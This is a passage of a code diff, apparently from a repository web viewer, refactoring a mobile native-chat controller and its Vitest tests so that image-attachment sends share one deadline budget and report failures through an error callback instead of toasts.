// "not sent" would invite a second Escape into a changed prompt state.
|
||||
onSendError('Cancel unconfirmed — check chat before retrying')
|
||||
} else if (outcome === 'rejected') {
|
||||
onSendError('Cancel not sent')
|
||||
}
|
||||
return outcome === 'accepted'
|
||||
}, [
|
||||
activeHandleRef,
|
||||
cancelNativeChatAnswer,
|
||||
const handleNativeChatCancelAsk = useMobileNativeChatCancelAsk({
|
||||
client,
|
||||
enabled: inputSendable,
|
||||
handleRef: activeHandleRef,
|
||||
deviceTokenRef,
|
||||
nativeChatInputLeaseReady,
|
||||
cancelPending: cancelNativeChatAnswer,
|
||||
onSendError
|
||||
])
|
||||
})
|
||||
|
||||
const handleNativeChatRespondPermission = useMobileNativeChatPermissionSend({
|
||||
client,
|
||||
enabled: nativeChatInputLeaseReady,
|
||||
enabled: inputSendable,
|
||||
handleRef: activeHandleRef,
|
||||
deviceTokenRef,
|
||||
onSendError
|
||||
@@ -226,7 +214,7 @@ export function useMobileNativeChatController(args: {
|
||||
|
||||
const handleNativeChatStop = useMobileNativeChatStop({
|
||||
client,
|
||||
enabled: nativeChatInputLeaseReady,
|
||||
enabled: inputSendable,
|
||||
handleRef: activeHandleRef,
|
||||
deviceTokenRef,
|
||||
streamIdentity,
|
||||
@@ -245,7 +233,7 @@ export function useMobileNativeChatController(args: {
|
||||
answerQuestion: handleNativeChatQuestionAnswer
|
||||
} = useMobileNativeChatMessageSend({
|
||||
client,
|
||||
enabled: nativeChatInputLeaseReady,
|
||||
enabled: inputSendable,
|
||||
handleRef: activeHandleRef,
|
||||
deviceTokenRef,
|
||||
captureSendOrigin,
|
||||
@@ -255,6 +243,10 @@ export function useMobileNativeChatController(args: {
|
||||
holdUnconfirmedSend,
|
||||
onSendError
|
||||
})
|
||||
// Card actions retire the route's held failure banner too, not just sends.
|
||||
const answerAsk = useNativeChatAcceptedAction(handleNativeChatAnswerAsk, onSendResolved)
|
||||
const cancelAsk = useNativeChatAcceptedAction(handleNativeChatCancelAsk, onSendResolved)
|
||||
const respond = useNativeChatAcceptedAction(handleNativeChatRespondPermission, onSendResolved)
|
||||
|
||||
return {
|
||||
isTabChatView,
|
||||
@@ -272,9 +264,9 @@ export function useMobileNativeChatController(args: {
|
||||
nativeChatQuestion,
|
||||
nativeChatAsk,
|
||||
handleNativeChatOpenFile,
|
||||
handleNativeChatAnswerAsk,
|
||||
handleNativeChatCancelAsk,
|
||||
handleNativeChatRespondPermission,
|
||||
handleNativeChatAnswerAsk: answerAsk,
|
||||
handleNativeChatCancelAsk: cancelAsk,
|
||||
handleNativeChatRespondPermission: respond,
|
||||
handleNativeChatStop,
|
||||
nativeChatFilePaths,
|
||||
loadNativeChatFiles,
|
||||
|
||||
@@ -67,6 +67,7 @@ function baseArgs(overrides: Partial<HookArgs> & Pick<HookArgs, 'client'>): Hook
|
||||
scopeKey: SCOPE_A,
|
||||
enabled: true,
|
||||
showToast: vi.fn(),
|
||||
onSendError: vi.fn(),
|
||||
baseSend: vi.fn().mockResolvedValue('accepted'),
|
||||
sleep: async () => {},
|
||||
...overrides
|
||||
@@ -195,11 +196,51 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
// Clear, then paste, then settle, then the text send — in that order.
|
||||
expect(order).toEqual(['clear', 'paste', 'settle', 'text:look at this'])
|
||||
// The local preview URI rides along so the sent bubble shows the photo.
|
||||
expect(baseSend).toHaveBeenCalledWith('look at this', ['file:///a.jpg'])
|
||||
expect(baseSend).toHaveBeenCalledWith('look at this', ['file:///a.jpg'], expect.any(Number))
|
||||
// Chips clear once the send is accepted.
|
||||
expect(hook!.attachments).toEqual([])
|
||||
})
|
||||
|
||||
it('spends one budget across the image paste and the text body that follows', async () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
pick.mockResolvedValue({ base64: 'AAAA', uri: 'file:///a.jpg' })
|
||||
const client = makeClient([
|
||||
methodNotFound('start'),
|
||||
ok('save', '/tmp/a.png'),
|
||||
sendResult(true), // Ctrl+U clear
|
||||
sendResult(true) // image paste
|
||||
])
|
||||
const slowClient: Pick<RpcClient, 'sendRequest'> = {
|
||||
sendRequest: async (method, params) => {
|
||||
if (method === 'terminal.send') {
|
||||
// A slow relay: each write burns 5s of the action's budget.
|
||||
vi.setSystemTime(Date.now() + 5_000)
|
||||
}
|
||||
return client.sendRequest(method, params)
|
||||
}
|
||||
}
|
||||
const baseSend = vi.fn().mockResolvedValue('accepted')
|
||||
mount(baseArgs({ client: slowClient as RpcClient, baseSend }))
|
||||
|
||||
await act(async () => {
|
||||
await hook!.attachImage('library')
|
||||
})
|
||||
await act(async () => {
|
||||
await hook!.sendNativeChat('look at this')
|
||||
})
|
||||
|
||||
// The paste spent 10s of the 15s ceiling, so the text body inherits what is
|
||||
// left (plus the credited settle). Opening a fresh budget here — which the
|
||||
// caller used to do by omitting `deadline` — would hand it a full 15s and let
|
||||
// one user action hold the composer `sending` for ~30s.
|
||||
const deadline = baseSend.mock.calls[0]?.[2] as number
|
||||
expect(deadline - Date.now()).toBeLessThanOrEqual(5_300)
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('routes an attachments-only send through baseSend with empty text so the echo still shows the photo', async () => {
|
||||
pick.mockResolvedValue({ base64: 'AAAA', uri: 'file:///a.jpg' })
|
||||
const client = makeClient([
|
||||
@@ -222,7 +263,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
expect(accepted).toBe(true)
|
||||
// Empty text still goes through baseSend (which submits the bare Enter) so the
|
||||
// optimistic echo carries the preview URI.
|
||||
expect(baseSend).toHaveBeenCalledWith('', ['file:///a.jpg'])
|
||||
expect(baseSend).toHaveBeenCalledWith('', ['file:///a.jpg'], expect.any(Number))
|
||||
const sendCalls = client.calls.filter((c) => c.method === 'terminal.send')
|
||||
// Only the clear + image paste hit the wire here; baseSend owns the submit.
|
||||
expect(sendCalls).toHaveLength(2)
|
||||
@@ -237,7 +278,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
await act(async () => {
|
||||
await hook!.sendNativeChat('just text')
|
||||
})
|
||||
expect(baseSend).toHaveBeenCalledWith('just text')
|
||||
expect(baseSend).toHaveBeenCalledWith('just text', undefined, expect.any(Number))
|
||||
expect(client.calls).toHaveLength(0)
|
||||
})
|
||||
|
||||
@@ -250,8 +291,8 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
sendResult(false) // image paste rejected
|
||||
])
|
||||
const baseSend = vi.fn().mockResolvedValue('accepted')
|
||||
const showToast = vi.fn()
|
||||
mount(baseArgs({ client: client as unknown as RpcClient, baseSend, showToast }))
|
||||
const onSendError = vi.fn()
|
||||
mount(baseArgs({ client: client as unknown as RpcClient, baseSend, onSendError }))
|
||||
await act(async () => {
|
||||
await hook!.attachImage('library')
|
||||
})
|
||||
@@ -261,7 +302,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(baseSend).not.toHaveBeenCalled()
|
||||
expect(showToast).toHaveBeenCalledWith('Message not sent', 1500)
|
||||
expect(onSendError).toHaveBeenCalledWith('Message not sent')
|
||||
expect(hook!.attachments).toHaveLength(1)
|
||||
})
|
||||
|
||||
@@ -270,8 +311,8 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
// No terminal.send responses queued: the clear write throws (dropped transport).
|
||||
const client = makeClient([methodNotFound('start'), ok('save', '/tmp/a.png')])
|
||||
const baseSend = vi.fn().mockResolvedValue('accepted')
|
||||
const showToast = vi.fn()
|
||||
mount(baseArgs({ client: client as unknown as RpcClient, baseSend, showToast }))
|
||||
const onSendError = vi.fn()
|
||||
mount(baseArgs({ client: client as unknown as RpcClient, baseSend, onSendError }))
|
||||
await act(async () => {
|
||||
await hook!.attachImage('library')
|
||||
})
|
||||
@@ -281,17 +322,19 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(baseSend).not.toHaveBeenCalled()
|
||||
expect(showToast).toHaveBeenCalledWith('Message not sent', 1500)
|
||||
expect(onSendError).toHaveBeenCalledWith('Message not sent')
|
||||
expect(hook!.attachments).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('surfaces a toast instead of a silent no-op when the input lease gate is closed', async () => {
|
||||
it('surfaces an error instead of a silent no-op when the input lease gate is closed', async () => {
|
||||
pick.mockResolvedValue({ base64: 'AAAA', uri: 'file:///a.jpg' })
|
||||
const client = makeClient([methodNotFound('start'), ok('save', '/tmp/a.png')])
|
||||
const baseSend = vi.fn().mockResolvedValue('accepted')
|
||||
const showToast = vi.fn()
|
||||
const onSendError = vi.fn()
|
||||
// Attaching is allowed without the lease; only the send is gated on it.
|
||||
mount(baseArgs({ client: client as unknown as RpcClient, enabled: false, baseSend, showToast }))
|
||||
mount(
|
||||
baseArgs({ client: client as unknown as RpcClient, enabled: false, baseSend, onSendError })
|
||||
)
|
||||
await act(async () => {
|
||||
await hook!.attachImage('library')
|
||||
})
|
||||
@@ -301,7 +344,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(baseSend).not.toHaveBeenCalled()
|
||||
expect(showToast).toHaveBeenCalledWith('Message not sent (disconnected)', 1500)
|
||||
expect(onSendError).toHaveBeenCalledWith('Message not sent (disconnected)')
|
||||
expect(hook!.attachments).toHaveLength(1)
|
||||
})
|
||||
|
||||
@@ -322,7 +365,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
await act(async () => {
|
||||
await hook!.sendNativeChat('hi')
|
||||
})
|
||||
expect(baseSend).toHaveBeenCalledWith('hi')
|
||||
expect(baseSend).toHaveBeenCalledWith('hi', undefined, expect.any(Number))
|
||||
expect(client.calls.some((c) => c.method === 'terminal.send')).toBe(false)
|
||||
|
||||
// Back on the original tab the chip is still pending.
|
||||
@@ -425,7 +468,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
})
|
||||
|
||||
// Only the first (sent) image rode along; the mid-send chip survives.
|
||||
expect(baseSend).toHaveBeenCalledWith('hi', ['file:///a.jpg'])
|
||||
expect(baseSend).toHaveBeenCalledWith('hi', ['file:///a.jpg'], expect.any(Number))
|
||||
expect(hook!.attachments.map((a) => a.previewUri)).toEqual(['file:///b.jpg'])
|
||||
})
|
||||
|
||||
@@ -438,14 +481,14 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
sendResult(true) // image paste — into term-1
|
||||
])
|
||||
const baseSend = vi.fn().mockResolvedValue('accepted')
|
||||
const showToast = vi.fn()
|
||||
const onSendError = vi.fn()
|
||||
const activeHandleRef = { current: 'term-1' }
|
||||
let releaseSettle: (() => void) | null = null
|
||||
const args = baseArgs({
|
||||
client: client as unknown as RpcClient,
|
||||
activeHandleRef,
|
||||
baseSend,
|
||||
showToast,
|
||||
onSendError,
|
||||
sleep: () =>
|
||||
new Promise<void>((resolve) => {
|
||||
releaseSettle = resolve
|
||||
@@ -474,7 +517,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(baseSend).not.toHaveBeenCalled()
|
||||
expect(showToast).toHaveBeenCalledWith('Message not sent', 1500)
|
||||
expect(onSendError).toHaveBeenCalledWith('Message not sent')
|
||||
expect(hook!.attachments).toHaveLength(1)
|
||||
})
|
||||
|
||||
@@ -511,7 +554,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
// Failed attempt's clear + rejected paste, then the healing clear.
|
||||
expect(sendCalls).toHaveLength(3)
|
||||
expect(sendCalls[2]?.params).toMatchObject({ text: '\x15', enter: false })
|
||||
expect(baseSend).toHaveBeenCalledWith('hi again')
|
||||
expect(baseSend).toHaveBeenCalledWith('hi again', undefined, expect.any(Number))
|
||||
})
|
||||
|
||||
it('heals before the next text-only send when an image submit delivery is unknown (#10228)', async () => {
|
||||
@@ -548,8 +591,8 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
const sendCalls = client.calls.filter((c) => c.method === 'terminal.send')
|
||||
expect(sendCalls).toHaveLength(3)
|
||||
expect(sendCalls[2]?.params).toMatchObject({ text: '\x15', enter: false })
|
||||
expect(baseSend).toHaveBeenNthCalledWith(1, 'pic', ['file:///a.jpg'])
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'later message')
|
||||
expect(baseSend).toHaveBeenNthCalledWith(1, 'pic', ['file:///a.jpg'], expect.any(Number))
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'later message', undefined, expect.any(Number))
|
||||
})
|
||||
|
||||
it('still heals after the session screen unmounts and remounts (#10228)', async () => {
|
||||
@@ -585,7 +628,7 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
const sendCalls = client.calls.filter((c) => c.method === 'terminal.send')
|
||||
expect(sendCalls).toHaveLength(3)
|
||||
expect(sendCalls[2]?.params).toMatchObject({ terminal: 'term-1', text: '\x15', enter: false })
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'later message')
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'later message', undefined, expect.any(Number))
|
||||
})
|
||||
|
||||
it('does not heal after an unknown text-only send (nothing was pasted first)', async () => {
|
||||
@@ -644,8 +687,8 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
expect(sendCalls).toHaveLength(4)
|
||||
expect(sendCalls[2]?.params).toMatchObject({ text: '\x15', enter: false })
|
||||
expect(sendCalls[3]?.params).toMatchObject({ text: '\x15', enter: false })
|
||||
expect(baseSend).toHaveBeenNthCalledWith(1, 'hi', ['file:///a.jpg'])
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'hi again')
|
||||
expect(baseSend).toHaveBeenNthCalledWith(1, 'hi', ['file:///a.jpg'], expect.any(Number))
|
||||
expect(baseSend).toHaveBeenNthCalledWith(2, 'hi again', undefined, expect.any(Number))
|
||||
})
|
||||
|
||||
it('does not reroute text when the active terminal changes during a healing clear', async () => {
|
||||
@@ -692,6 +735,49 @@ describe('useMobileNativeChatImageAttachments', () => {
|
||||
expect(sendCalls[2]?.params).toMatchObject({ terminal: 'term-1', text: '\x15', enter: false })
|
||||
})
|
||||
|
||||
it('defers the heal instead of burning a rejected clear while the lease is closed', async () => {
|
||||
pick.mockResolvedValue({ base64: 'AAAA', uri: 'file:///a.jpg' })
|
||||
const client = makeClient([
|
||||
methodNotFound('start'),
|
||||
ok('save', '/tmp/a.png'),
|
||||
sendResult(true), // Ctrl+U clear
|
||||
sendResult(true), // image paste accepted
|
||||
sendResult(true) // the heal, once the lease is back
|
||||
])
|
||||
const baseSend = vi.fn().mockResolvedValueOnce('rejected').mockResolvedValueOnce('accepted')
|
||||
const onSendError = vi.fn()
|
||||
const args = baseArgs({ client: client as unknown as RpcClient, baseSend, onSendError })
|
||||
mount(args)
|
||||
await act(async () => {
|
||||
await hook!.attachImage('library')
|
||||
})
|
||||
await act(async () => {
|
||||
await hook!.sendNativeChat('hi')
|
||||
})
|
||||
await act(async () => {
|
||||
hook!.removeAttachment('img-1')
|
||||
})
|
||||
|
||||
// Lease lost: the heal is a terminal.send too, so it must not be attempted.
|
||||
update({ ...args, enabled: false })
|
||||
let accepted = true
|
||||
await act(async () => {
|
||||
accepted = await hook!.sendNativeChat('hi again')
|
||||
})
|
||||
expect(accepted).toBe(false)
|
||||
expect(onSendError).toHaveBeenLastCalledWith('Message not sent (disconnected)')
|
||||
expect(client.calls.filter((c) => c.method === 'terminal.send')).toHaveLength(2)
|
||||
|
||||
update({ ...args, enabled: true })
|
||||
await act(async () => {
|
||||
accepted = await hook!.sendNativeChat('hi again')
|
||||
})
|
||||
expect(accepted).toBe(true)
|
||||
const sendCalls = client.calls.filter((c) => c.method === 'terminal.send')
|
||||
expect(sendCalls).toHaveLength(3)
|
||||
expect(sendCalls[2]?.params).toMatchObject({ text: '\x15', enter: false })
|
||||
})
|
||||
|
||||
it('heals rejected image submits independently across terminals', async () => {
|
||||
pick
|
||||
.mockResolvedValueOnce({ base64: 'AAAA', uri: 'file:///a.jpg' })
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user